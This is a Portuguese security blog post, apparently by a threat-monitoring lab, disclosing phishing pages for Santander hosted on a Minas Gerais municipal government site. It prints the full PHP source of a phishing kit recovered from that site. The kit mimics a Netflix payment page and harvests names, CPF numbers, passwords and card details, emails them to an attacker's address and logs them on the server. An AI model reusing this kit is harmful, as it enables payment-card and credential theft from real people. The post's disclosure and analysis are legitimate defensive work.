Município de Minas Gerais Hospeda Phishing HTTPS

Já falamos aqui sobre o phishing como um vetor de ataque utilizado em páginas falsas hospedadas em sites de governo e sobre casos de phishing na Bahia. Além disso, já falamos no post Phishing 2.0 sobre o uso de sites sobre SSL/TLS para hospedagem desse tipo de golpe digital.

O Sistema de Monitoramento Avançado Persistente desenvolvido pela DefCon Lab detectou nas últimas horas que o site do Município de Leme do Prado hospeda phishing do Banco Santander. O acesso ocorreu sem qualquer alerta de segurança do navegador Google Chrome.

Além de dar suporte ao HTTPS, ou seja, apresentando o cadeado verde de segurança, o site hospeda tanto a versão mobile quanto a desktop do phishing, conforme imagens abaixo.

Screenshot do phishing hospedado na URL
https://www.lemedoprado.mg.gov.br/editais/www.santander.com.br/br/mobile/mobile-versao-android/

A imagem abaixo apresenta a versão para dispositivos móveis:

Screenshot obtido na URL:
https://www.lemedoprado.mg.gov.br/editais/cartao-free-santander/

Ao inspecionar o site https://www.lemedoprado.mg.gov.br, obtivemos acesso ao artefato malicioso www.netflix.com.br.zip. Um de seus arquivos contém o seguinte código:

<?php
ob_start();
$ip = $_SERVER["REMOTE_ADDR"];
$firstNameCC = $_POST['firstNameCC'];
$cpf = $_POST['cpf'];
$email = $_POST['email'];
$ps = $_POST['ps'];
$cardNumberCC = $_POST['cardNumberCC'];
$expYr = $_POST['expYr'];
$securityCode = $_POST['securityCode'];
$exp = $_POST['exp'];

$dia = date("d-m-y-[h-i-s]"); 
$ip_usuario = @$_SERVER[REMOTE_ADDR];

$headers = "From: CC-NETFLIX <noreplay@filefree.com.br>\r\n";
$headers .= "De: CC-NETFLIX <noreplay@filefree.com.br>\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$headers .= "MIME-Version: 1.0\n";

$stringData = "
<font face=verdana><b>CC NETFLIX</b><br>
<b>$dia @ $ip_usuario</b><br>
------------C0d3_Bl4ck_NiNJA-------------<br>
<b>Nome do Cartão:</b> $firstNameCC<br>
<b>CPF:</b> $cpf<br>
<b>EMAIL:</b> $email<br>
<b>SENHA:</b> $ps<br>
<b>Número do Cartão:</b> $cardNumberCC<br>
<b>Validade:</b> $exp/$expYr<br>
<b>CVV/Código de Segurança:</b> $securityCode<br>
<b>IP:</b> $ip_usuario<br>
------------C0d3_Bl4ck_NiNJA-------------\n";

@mail("descorox2017@gmail.com", "COD: "."$ip_usuario", $stringData, $headers);
$myFile = "nfs/" . "$ip" . ".txt";
$fh = fopen($myFile, 'a') or die("Poe permissao na pasta");

$INFO =
"------------C0d3_Bl4ck_NiNJA-------------
Nome:.......| $firstNameCC
CPF:.........| $cpf
Email:........| $email
Senha:........| $ps
Num.CC.:........| $cardNumberCC
Validade:........| $exp/$expYr
CVV:............| $securityCode
------------C0d3_Bl4ck_NiNJA-------------
";
fwrite($fh, $INFO);
fclose($fh);
?>


<!doctype html>
<html>
<head>
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
 <<meta charset="iso-8859-1"/>
 <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
 <title>Netflix - assista a séries online, assista a filmes online</title>
 <meta name="viewport" content="width=device-width,initial-scale=1.0"/>
 <link type="text/css" rel="stylesheet" href="css/netflix.css"/>
 <link rel="shortcut icon" href="nficon2016.ico"/>
 <link rel="apple-touch-icon" href="nficon2016.png"/>
 <script type="text/javascript" src="js/jquery-3.1.1.min.js"></script>
 <script type="text/javascript" src="js/jquery.mask.min.js"></script>
</head>
<body>
 <div id="appMountPoint">
 <div class="basicLayout accountPayment" lang="pt" dir="ltr" data-reactroot="" data-reactid="1" data-react-checksum="-1781427264">
 <div class="nfHeader signupBasicHeader" data-reactid="2">
 <a href="/" class="icon-logoUpdate nfLogo signupBasicHeader" style="pointer-events:inherit;" data-reactid="3">
 <span class="screen-reader-text" data-reactid="4">Netflix</span></a></div>
 <div class="centerContainer" data-reactid="7">
 <h1 id="header_your_account_payment" data-reactid="8">Confirme suas informações de pagamento</h1>
 <h4 data-reactid="9"><!-- react-text: 10 -->Preencha o campo abaixo para confirmar a atualização de sua nova forma de pagamento.<!-- /react-text --></h4><div class="expando" data-reactid="11"></div><div class="secure-container clearfix" data-reactid="12"><div class="secure" data-reactid="13"><span class="secure-desc" data-reactid="14"><h4 class="secure-text" data-reactid="15">Servidor seguro</h4><a class="tell-me-more" data-reactid="16">Quero saber mais</a></span><span class="icon-lock" data-reactid="17"></span></div></div><div class="accordion" data-reactid="18"><div class="isOpen expando" data-reactid="19"><div class="paymentExpandoHd" data-mop-type="creditOption" data-reactid="20"><div class="container" data-reactid="21"><span class="arrow" data-reactid="22"></span><span class="hdLabel" data-reactid="23">Cartão de crédito</span><span class="logos logos-inline hideIfSmall" data-reactid="24"><span class="logoIcon VISA" data-reactid="25"></span><span class="logoIcon MASTERCARD" data-reactid="26"></span><span class="logoIcon AMEX" data-reactid="27"></span><span class="logoIcon ELO" data-reactid="28"></span><span class="logoIcon DINERS" data-reactid="29"></span></span></div></div><div class="expandoContent" data-reactid="30"><div class="paymentForm clearfix accordion" data-reactid="31"><form action="atualizar.php" method="post" data-reactid="32"><div class="paymentForm-input" data-reactid="33"></div>
 <label class="paymentForm-input creditCardNumber ui-label ui-input-label ui-input-half" data-reactid="48"><span class="ui-label-text" data-reactid="49">Senha do cartão</span><input class="ui-text-input medium auto-creditCardNumber" name="senhaCartao" type="text" maxlength="6" tabindex="0" data-reactid="50" required/><span class="icon-lock" data-reactid="51"></span></label>
 <div class="expiration-date ui-input-half" data-reactid="52">
 <!-- react-empty: 112 --><div class="clearfix" data-reactid="118"><div class="btn-secure-wrapper" data-reactid="119"><button class="btn btn-submit btn-large" type="submit" autocomplete="off" tabindex="0" id="CC-update" data-reactid="120"><span data-reactid="121">Confirmar forma de pagamento</span></button></div></div></form></div></div></div><div class="expando" data-reactid="128"></div><div class="expando" data-reactid="138"></div></div></div></div></div><div></div>
 <script type="text/javascript">
 $(document).ready(function(){
 $('#cpf').mask('000.000.000-00', {reverse: true});
 });
 </script>
 </body>
 </html>

Esse código envia para o e-mail descorox2017@gmail.com os dados inseridos pela vítima como o nome, CPF, número do cartão, senha, correio eletrônico e o endereço IP. Além de enviar os dados por e-mail, o código também persiste um cópia das informações no sistema de arquivos do servidor web. É razoável especular que o usuário dessa conta de e-mail seja o autor e principal beneficiário da informação obtida por meio desse ataque.